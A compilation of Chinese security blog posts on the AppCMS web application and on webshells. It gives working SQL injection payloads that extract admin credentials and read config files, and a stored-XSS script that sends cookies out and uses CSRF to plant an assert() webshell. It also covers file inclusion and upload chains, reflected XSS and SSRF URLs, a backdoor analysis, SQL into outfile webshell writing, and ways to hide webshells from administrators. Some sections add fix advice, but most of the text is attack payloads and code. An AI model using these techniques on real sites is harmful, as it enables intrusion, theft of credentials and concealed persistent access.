Appcms漏洞+webshell复习

0x01 背景

由若水师傅提供的一个素材,想要复现CNVD上披露的一个APPCMS的漏洞,由CNVD上的描述可以知道存在漏洞的地方是comment.php这个文件,然后就没有详细的漏洞信息了,所以就需要分析相应的源码文件找出存在漏洞的点。借这个素材捡起下代码审计的各种感觉。期待一起学习,期待和师傅们各种交流讨论。 官方站点:http://www.appcms.cc/ 漏洞详情地址:

http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891

0x02 审计过程

1. Thinking的心历路程

本篇是个事后总结,是在审计过程中逐步思考利用,然后达到预期的目的。 先是进行了代码审计清楚了造成的漏洞的位置,开始先获得了用户名是admini,密文密码:77e2edcc9b40441200e31dc57dbb8829,安全码:123456;但是并无法得到后台地址,经过思考分析,便想到利用2次漏洞进行XSS打到后台地址和cookie,在深入些便是和CSRF结合得到shell,这便是我的心历路程。以下先说说代码审计部分。

(1)寻找漏洞位置

打开comment.php文件,通读comment.php文件中的代码,并跟踪数据的传递过程。CNVD上说的是一个SQL注入漏洞,所以可以先关注comment.php文件中涉及SQL操作的代码。

comment.php文件第80行-86行,目测query_update,single_insert存在SQL操作,进行SQL拼接的是TB_PREFIX,$fields['parent_id']和$fields。

1.//comment.php文件第80行-86行
2.    if ($fields['parent_id'] != 0) {
3.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
4.    }
5.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);

其中TB_PREFIX在\core\config.conn.php进行了define('TB_PREFIX', 'appcms_');定义,所以不用管TB_PREFIX。

$fields['parent_id']在第73行$fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();进行了数据类型的判断,所以也不能利用。

$fields是由自定义方法function m__add()创建的一个数组,再将$page数组中关键的信息赋给$fields,而$page拥有所有POST和GET的数据; 在 m__add()自定义方法中可控的数据$fields['id'],$fields['type'],$fields['parent_id']必须是数字类型,所以无法利用,剩下$fields['uname'] ,$fields['content'],$fields['ip'],后面经过测试和数据跟踪的过程$fields['ip']是一个可控制并可注入的点。

1.//comment.php文件第29-30行
2.$page['get'] = $_GET; //get参数的 m 和 ajax 参数是默认占用的,一个用来执行动作函数,一个用来判断是否启用模板还是直接输出JSON格式数据
3.$page['post'] = $_POST;
1.//comment.php文件第57-86行
2.function m__add() {
3.    global $page, $dbm, $c;
4.
5.    $fields = array();
6.    foreach($page['post'] as $key => $val) {
7.        $page['post'][$key] = htmlspecialchars(helper :: escape($val));
8.    }
9.    if (empty($page['post']['comment'])) {
10.        die('{"code":"1","msg":"发表内容不能为空"}');
11.    }
12.    $code = md5(strtoupper($page['post']['code']));
13.    if ($code != $_SESSION['feedback']) {
14.        die('{"code":"140","msg":"验证码错误"}');
15.    }
16.    $fields['id'] = $page['post']['id'];if(!is_numeric($fields['id'])) die();
17.    $fields['type'] = $page['post']['type'];if(!is_numeric($fields['type'])) die();
18.    $fields['parent_id'] = $page['post']['parent_id'];if(!is_numeric($fields['parent_id'])) die();
19.    $content = $c -> filter_words($page['post']['comment']);
20.    $fields['content'] = helper :: utf8_substr($content, 0, 300);
21.    $user = $c -> filter_words($page['post']['user'], 'user');
22.    $fields['uname'] = helper :: utf8_substr($user, 0, 10);
23.    $fields['date_add'] = time();
24.    $fields['ip'] = helper :: getip();
25.    if ($fields['parent_id'] != 0) {
26.        $ress = $dbm -> query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
27.    }
28.    $res = $dbm -> single_insert(TB_PREFIX . 'comment', $fields);
29.    if (empty($res['error']) && empty($ress['error'])) die('{"code":"0","msg":"恭喜发表成功"}');
30.    die('{"code":"1","msg":"发表失败:' . $ress['error'] . '"}');
31.}

之所以得到如上的结论,第一个,是在跟进single_insert方法的时候,在改方法中将$fields数组中的值使用foreach进行组合后传入$sql中没有经过任何处理。

1.//core/database.class.php第102-120行代码块
2. public function single_insert($table_name, $fields) {
3.        if (!is_array($fields) || count($fields) == 0) return array('sql' => '', 'error' => '插入失败,插入字段为空', 'sql_time' => 0, 'autoid' => 0);
4.
5.        $sql_field = "";
6.        $sql_value = "";
7.        // 遍历字段和值
8.        foreach($fields as $key => $value) {
9.            $sql_field .= ",$key";
10.            $sql_value .= ",'$value'";
11.        }

第二个,跟进$fields['ip'] = helper :: getip();的getip()方法,发现获取的方式中有一项是CLIENT-IP,这种方式可以通过客户端进行IP伪造。

1.//core/help.class.php文件的第47-57行
2. public static function getip() {
3.        $onlineip = '';
4.        if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
5.            $onlineip = getenv('HTTP_CLIENT_IP');
6.        } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
7.            $onlineip = getenv('REMOTE_ADDR');
8.        } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
9.            $onlineip = $_SERVER['REMOTE_ADDR'];
10.        }
11.        return $onlineip;
12.    }

因此$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。为了方便查看和构造payload,我在/core/database.class.php文件的single_insert方法的117行加入 echo $sql;方便查看SQL语句,又由于这个CMS的存在失效的图片验证,所以可以轻松的使用burpSuite进行注入获取数据。

(2)构造payload获取用户名密码

接下来构造PAYLOAD,这个位置是insert注入但是并不会报SQL的错误,所以无法使用报错注入,在师傅们的指导提醒下发现可以直接使用insert将注入查询到的结果回显到前台中,由于这个是个评论功能,那么展示的位置是content,uname,date_add,ip这4个位置。

可以直接使用如下的语句将查询结果插入到content和uname,然后回显到前台的用户名和回复内容位置。 PAYLOAD: CLIENT-IP:10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid= '1'),(select uname from appcms_admin_list where uid= '1'),'1510908798',1)#

(3)构造payload获取安全码

此时就获得到站点的用户名和密码,接下来要获取安全码,这里使用mysql的load_file()来读取\core\config.php文件,安全码等敏感信息就在该文件里面。 可以使用去掉payload后面的#导致报错等方式得到网站的绝对路径,因为在\core\init.php中默认开启了错误提示,所以可以利用错误信息得到绝对路径。

得到绝对路径便可以使用load_file()去读取\core\config.php文件中的安全码了,但是这里content列是使用varchar,然后长度是500,所以直接使用load_file()是无法获得安全码的,因此使用了substr进行了截断,截断范围大致是 从480开始 然后截断400个字符长度,此处没有进行了预测没有精准计算,但是已经将安全码写到content列中了。 PAYLOAD: CLIENT-IP:10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480 , 400)),'thinking','1510908798',123456)#

此时已经得到用户名是admini,密文密码:77e2edcc9b40441200e31dc57dbb8829,安全码:123456;但是APPCMS安装完毕后强制更改后台地址,所以就是拿到这3个敏感信息也难以登录后进行其他操作。

2. Thinking的心历路程

以上通过代码审计已经分析了CNVD上该版本的APPCMS漏洞产生的整个过程,接下来是对这个漏洞进行进阶研究和学习。所先这种insert注入将用户可控的数据直接写到数据库中,极大的可能还会造成2次漏洞,本小节利用insert注入直接进行存储型XSS打后台,且使用CSRF在添加模块的地方进行写马操作。

(1)XSS注入测试

常规测试 忽略 :!)

(2)打COOKIE平台

这里我使用的蓝莲花团队的xss平台。

PAYLOAD构造:

这里我对内容进行的修改添加了两个请求,一个是创建文件的请求,一个是为文件添加内容的请求。

1.//获取站点的关键信息
2.var website="http://127.0.0.1/xsser";
3.(function(){(new Image()).src=website+'/?keepsession=1&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();
4.
5.function csrf_shell()
6.{
7.//创建文件名为evil.php的文件
8.var xmlhttp1=new XMLHttpRequest();
9.xmlhttp1.open("POST","./template.php?m=create_file",true);
10.xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
11.xmlhttp1.send("filename=evil.php");
12.
13.//在evil.php文件中写入一句话
14.var xmlhttp2=new XMLHttpRequest();
15.xmlhttp2.open("POST","./template.php?m=save_edit",true);
16.xmlhttp2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
17.xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");
18.};
19.csrf_shell();

(3)测试是否利用成功

配置好后进行如下请求,此时后台会生成一条评论记录。

模拟管理员登录后台,使用burpload进行跟踪,发现创建了evil.php文件,并为文件写入一句话,证明成功执行了刚才配置好的脚本,然后还将站点的信息包括登录信息等也发给了目标系统。

此时便收到打回来的COOKIE信息了,而对对应的shell地址便是http://127.0.0.1/APPCMS/templates/default/evil.php

0x03 小小总结

本篇获取后台的方法我就想到了XSS,本想使用报错的方式,但发现前台并无数据和后台进行交互,所以没想到怎么在前台引发报错,报出后台地址,所以就采用SQL注入,XSS,CSRF直接getShell了。如果师傅们有更好的思路期待讨论交流,感谢若水师傅提供的素材,感谢各位师傅的指导。


一、前言

进入六月以后,自己的时间也就充裕很多了。很多比赛结束、绿盟那边暂时也没有什么任务,就等着7月份去入职了。所以沉下心准备学点东西。于是就选择一位老哥审计过的源码,自己来审计一遍,看看自己的差距,也给自己增加点经验。再就是上次土司聚会就说会在土司发表一篇文章……所以潜水很多年的我来了。本文章是审计的一个CMS系统,比较乱,希望别介意。

二、正题

我的审计思路一般是:->看目录摸清大体的框架->找具体功能审计->选择漏洞类型进行审计。

1.png
图1 主要目录Tree

看目录很明显,有后台目录、缓存目录、数据储存目录、安装目录、插件目录以及手机版的目录。大体的目录了解了后,就开始正式的审计了。

首先看下入口文件index.php,发现很有趣,按照常规的入口文件,一般是引入核心文件什么的,而他直接就是将一些过滤代码写到了入口文件。

// 预防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
//预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    //超出长度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
    if (!preg_match("/^[{4e00}-{9fa5}{0}]+$/u", $_GET['q'])) {
        die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
    }

可以看出,系统做了两个过滤。一个是htmlspecialchars($v),另一个是/^[\x{4e00}-\x{9fa5}\w {0}]+$/u。前一个过滤是把预定义的字符 "<" 和 ">"转换为 HTML 实体,后一个是用正则处理参数,使其只能输入下划线、数字、字母、汉字和空格。

继续看,下面的代码主要是加载分类板块,本以为没有什么希望在这个文件寻找出什么漏洞的时候,最后几段代码让我眼前一亮。

if (substr($tpl, strlen($tpl) - 4, 4) == '.php') {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
    $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
}
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
require(dirname(__FILE__) . $tmp_file);

首先构建php文件,然后判断该php文件是否存在,如果不存在,直接die,如果存在,引入该文件。没有任何过滤或者判断,很明显的文件包含漏洞!!于是测试查看phpinfo的信息。在根目录下创建了一个phpinfo文件。

2.png
图2 phpinfo文件

然后根据代码,来构建playload。

http://localhost/app/index.php?tpl=../../phpinfo&id=1

3.png
图3 包含结果

成功读取。
到这里有两个利用的思路。一是读取相关敏感信息,二是利用该漏洞上传文件带有一句话的文件,通过该包含漏洞进行链接菜刀。第一个尝试了一下,没有发现什么有效的敏感信息。后台什么的,都是js文件和php文件操作,这个包含也看不了什么信息,于是就把目光转向了第二个。既然是上传,肯定要找上传点,发现前台并没有什么上传点,于是尝试着后台,发现一个神奇的地方。

4.png
图4 上传点

app/upload/upload_form.php?params=%7B%22inner_box%22%3A%22%23ff1%22%2C%22func%22%3A%22callback_upload_resource%22%2C%22id%22%3A%221%22%2C%22thumb%22%3A%7B%22width%22%3A%22300%22%2C%22height%22%3A%22300%22%7D%2C%22domain%22%3A%22localhost%22%7D

这个上传点竟然没有上传权限限制,就是说只要知道这个地址,可以传任何图片、APK文件到服务器上。然后查看了下upload_form.php文件。果然如此,只是一个上传文件的格式判断以及传入参数判断,如果参数正确,就可以上传,没有验证访问者的权限。

 $upload_server= SITE_PATH."upload/";
    //上传安全验证字符串
    $verify=helper::encrypt(UPLOAD_CODE.strtotime(date('Y-m-d H:i:s')),UPLOAD_KEY);
    $params=$_GET['params'];
    $params=preg_replace('~(\)~','"',$params);
$json=json_decode($params);    

这就有意思了。
于是结合上面的那个文件包含漏洞,上传一个含有一句话的图片,尝试获取shell。

5.png
图5 一句话木马图片上传

PS:这里有个问题,就是图片上传后,文件名是随机的,实际操作的时候,可能要扫目录或者其他方法获取文件名。
因为在服务器上储存的是jpg文件,如果直接访问的话,肯定是显示不存在模板,如下:

6.png
图6 尝试读取

随即自然的想起了%00截断。由于本地环境的php版本是5.2.17<5.3.4,而且并没有开启magic_quotes_gpc所以是可以截断成功的。如下:

7.png
图7 %00截断

http://localhost/app/index.php?tpl=../../upload/img/2017/06/11/
593cc2106fd93.jpg%00&id=1

菜刀成功连接之。

8.png
图8 菜刀连接

看完了入口文件,开始审计其他内容,首先从安装开始,很遗憾,并没有发现什么漏洞,想从注册和登陆这块审计,无奈这套系统又不存在这个功能,所以就开始了针对于漏洞的审计。发现根目录下的pic.php存在问题。代码如下:

if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
    
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1]; 
    
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
    
} else {
    die('image not find£¡');
}

以GET的请求方式,传入两个参数:url和type,要求url参数必须是base64格式,然后系统经过转变成小写后进行判断验证。判断有很多,主要是判断url传入参数的长度、内容,如果长度大于256和小于等于1,包含关键字php、非标准化路径统统报错,并且type类型只能是jpg/gif/png/jpeg。

程序编写者明显是有安全意识的。但是这里还是存在两个漏洞的,一个是文件包含漏洞,一个是文件下载漏洞。

上面的确是对url参数的做了几次验证,但是开发者忽略了编码转换。就是说,如果我们讲%00、php等类似的字符进行url编码转换以后,再进行base64加密,传入参数后,这几个验证是可以绕过的!

我们根据上面的文件包含漏洞来构建playload。

http://localhost/app/pic.php?url=dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn&type=jpg

其中dXBsb2FkL2ltZy8yMDE3LzA2LzEwLzU5M2NjMjEwNmZkOTMlMmUlNzAlNjglNzAlMjUlMzAlMzAuanBn解密后是upload/img/2017/06/10/593cc2106fd93%2e%70%68%70%25%30%30.jpg
这里的%2e%70%68%70%25%30%30是.php%00。然后菜刀连接之。

9.png
图9 连接地址

10.png
图10 成功连接

还有一个漏洞就是header("Content-Type: image/{$_GET['type']}");

这里我们只要构造type的类型不等于in_array()中的任何一个条件,Content-Type:image/tpye 就会因为头文件错误导致无法正确解析源文件,造成直接下载源文件的现象。(大家可尝试在php的文件里加上header("Content-Type: image/php");看看效果

继续看文件,发现了很多XSS漏洞,不过都是反射型的,这里就找两个说吧。

第一处:/templates/m/inc_head.php

<input type="text" id="abc" class="search-txt" value="<?php if(isset($_GET['q'])) echo $_GET['q'];?>" />

很明显的xss漏洞,直接判断参数q是否存在,然后输出。

直接构建playload:

http://localhost/app/templates/m/search.php?q="/><script>alert('xss')</script>

成功触发漏洞。

11.png
图11 XSS漏洞(1)

第二处:/templates/m/search.php

<title>ËÑË÷ <?php if(isset($_GET['q'])) echo $_GET['q'];?> - <?php echo SITE_NAME;?></title>

同上,直接构造playload:

http://localhost/app/templates/m/search.php?q=a<;/title><script>alert('xss')</script>

成功触发漏洞。

11.png
图12 XSS漏洞(2)

最尴尬的是,inc_head.php 这个文件是存在xss漏洞的,但是很多文件都引入了这个文件,也就导致了很多地方存在了此漏洞。

三、安全建议

对于文件包含漏洞,可以设置类似白名单的方法,通过筛选固定文件名方法。这样一方面不必切断这个业务,另一方面又不会被轻易绕过,当然,也可以采用设置open_basedir的方法来防御。

对于XSS漏洞,没什么好说的,本套系统之所以出现XSS漏洞,是因为没有类似于PC端那种直接使用正则进行参数验证,所以只要使用Index.php的那种过滤,是可以的。

四、总结

这次审计对于自己算是一次进步和总结吧,最遗憾的是没有审计到sql注入漏洞,因为入口的那个正则过滤以及始终无法闭合双引号(双引号被转义成实体),所以始终没有注入成功。

有兴趣的可以下载这套系统审计看看,就当练手。最后,有不足的地方欢迎指出,我会听取各位大佬的意见。轻喷哈~


appcms通用漏洞

1.回调接口反射XSS
/upload/callback.php?params=111%27);%3C/script%3E%3Cscript%3Ealert(document.cookie);testsub(%27
2.任意app上传
/upload/upload_form.php?params=test&v=1111 #访问后需要构造提交表单或者发requests
添加 <input name=”Submit” value=”提交” type=”submit”>
3.模版xss,直接访问到模版文件,也可以触发xss
4.验证码缺陷、
appcms中使用的验证码都是前端刷新、可以拦截前端验证码请求,一直使用旧的验证码,比如评论功能,可以遍历会话刷评论。
5.固定数据库备份文件名
只要备份了数据库,都是固定的文件名,直接下载数据库备份了就,比如/backup/appcms_admin_list_0.sql
6.sql执行调试接口泄漏
/admin/admin_user.php?ajax=json 访问众多后台文件 axaj=json 都会返回当前执行的sql语句。
7.轻微SSRF
先把 http://0535code.com/wp-content/themes/d8/img/logo.png 做base64编码,然后放入url中;
/pic.php?url=aHR0cDovLzA1MzVjb2RlLmNvbS93cC1jb250ZW50L3RoZW1lcy9kOC9pbWcvbG9nby5wbmc=&type=png
绕过方式 http://0535code.com/?1.png 进行编码,也可能存在HTTP响应拆分噢、
/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dreferer:http://0535code.com
######################################################################

getshell,通过上面几种途径都可以噢、只要可以登陆后台,后台有编辑模版功能,就可以getshell了

代码审计:AppCMS 2.0.101版本本地文件包含


前言:

AppCMS本地文件包含漏洞,可以读取数据库账号密码,然后远程连接。

产生原因:

《代码审计:AppCMS 2.0.101版本本地文件包含》《代码审计:AppCMS 2.0.101版本本地文件包含》

两张图片就可以阐述漏洞的产生原因,首先$tpl,模板函数get获取,无过滤,后面require包含。


利用:

载入install/templates/step4的安装步骤,可以读取数据库账号密码。然后3306连接。

《代码审计:AppCMS 2.0.101版本本地文件包含》

自己测试的站点


最后顺便温习一下一句话写入数据库的方法

1.手工注入爆出phpinfo  知道敏感信息。(物理路径,php版本。。。。。)还有爆出账号密码找后台登陆

2.如果找不到后台的情况下 ,知道物理路径写入一句话

3.没有注入的情况下知道数据库账号密码可以直接写入一句话(有物理路径)

use mysql;
create table a (cmd text NOT NULL);
insert into a (cmd) values(‘<?php eval($_POST[cmd];?>’);
select cmd from a into outfile ‘/var/www/mm.php’;
drop table if exists a;

AppCMS 2.0.101 后门分析

分析

用beyond compare比较与前一个版本的区别

可以发现,在 templates/m/ 文件夹下出现了一个 content_list.php 文件,修改时间为 2017年5月25日。

经过解密,9c224bc6b59179729b15e1dddcbb5c82为字符串kejishidai的md5值。

由代码知,这里存在一个copy函数构成的后门。

在第12行,实际执行的即为:

 
         
1
 
         
copy(trim($_GET[url]),$_GET[cms]);

将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell。如下:

 
         
1
2
3
4
 
         
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/content_list.php?session=kejishidai&url=php://input&cms=temp.php
POST:
<?php phpinfo();?>

接着访问:

 
         
1
 
         
http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/temp.php

getshell。

建议

删除 templates/m/ 文件夹下的content_list.php。

Other

cmsPoc





Webshell实现与隐藏探究

一、什么是webshell

webshell简介

webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。
webshell的分类

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。
根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):

<form action=http://主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
</textarea>
<BR>
<center>


<input type=submit value=提交>

这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。
大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。



作者:JackyTsuuuy
链接:https://www.jianshu.com/p/02aac12e459f
來源:简书
简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。


二、如何上传webshell

1.解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。
(1)iis目录解析漏洞
比如:/xx.asp/xx.jpg

虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
(2)文件解析漏洞
比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。
(3)文件名解析
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。
(4)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。

*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。
(5)apache解析漏洞
apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制
2.截断上传
在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。
3.后台数据库备份
在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。
4.利用数据库语句上传
(1) mysql数据库into outfile
这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。
(2)建立新表写入木马
一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。
(3)phpMyadmin设置错误
phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。

三、webshell的“安全”

1.关于webshell的隐藏
在上传webshell的时候必须要进行webshell的隐藏工作。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。
(1)大马的隐藏
①不死僵尸
windows系统存在系统保留文件夹名,windows不允许用这些名字来命名文件夹保留文件夹:aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt。但是这些可以使用windows的copy命令创建,比如:

c:>copy 3.asp \.\C:\aux.asp

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image020.png

file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image022.jpg

在c盘中创建一个aux.asp。这个文件无法在图像界面下删除。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image023.png

要删除必须使用del命令。
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image024.png

删除了之后是没有提示的,但是文件确实没有了。
当然用这样的方法虽然可以创建一个图形界面无法删除的webshell,但是如果直接放在网页根目录下,被有经验的网管看到还是回删除的。
②clsid隐藏
windows每一个程序都有一个clsid,如果将一个文件夹命名为x.{程序clsid},然后输入一下两条命令:
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image026.jpg

创建后
file:///C:\Users\SAKAIY~1\AppData\Local\Temp\msohtmlclip11\clip_image027.png

点开进入的是控制面板,但是其实该文件还是文件夹,里面还存在大马,而且创建一个这样一个带有clsid的文件夹将其命名为相应的程序可以迷惑网络管理员的实现,比如进入回收站文件夹中创建这样一个带有回收站clsid的文件夹,在里面里面再copy一个保留字asp,还可以使用

attrib +h +s +r +d/s /d

修改该文件的属性,将其隐藏,一般windows都是默认不显示隐藏文件的,而且回收站文件夹是自动创建的,这样可以达到隐藏一个不死webshell到服务器中去。

③驱动隐藏技术
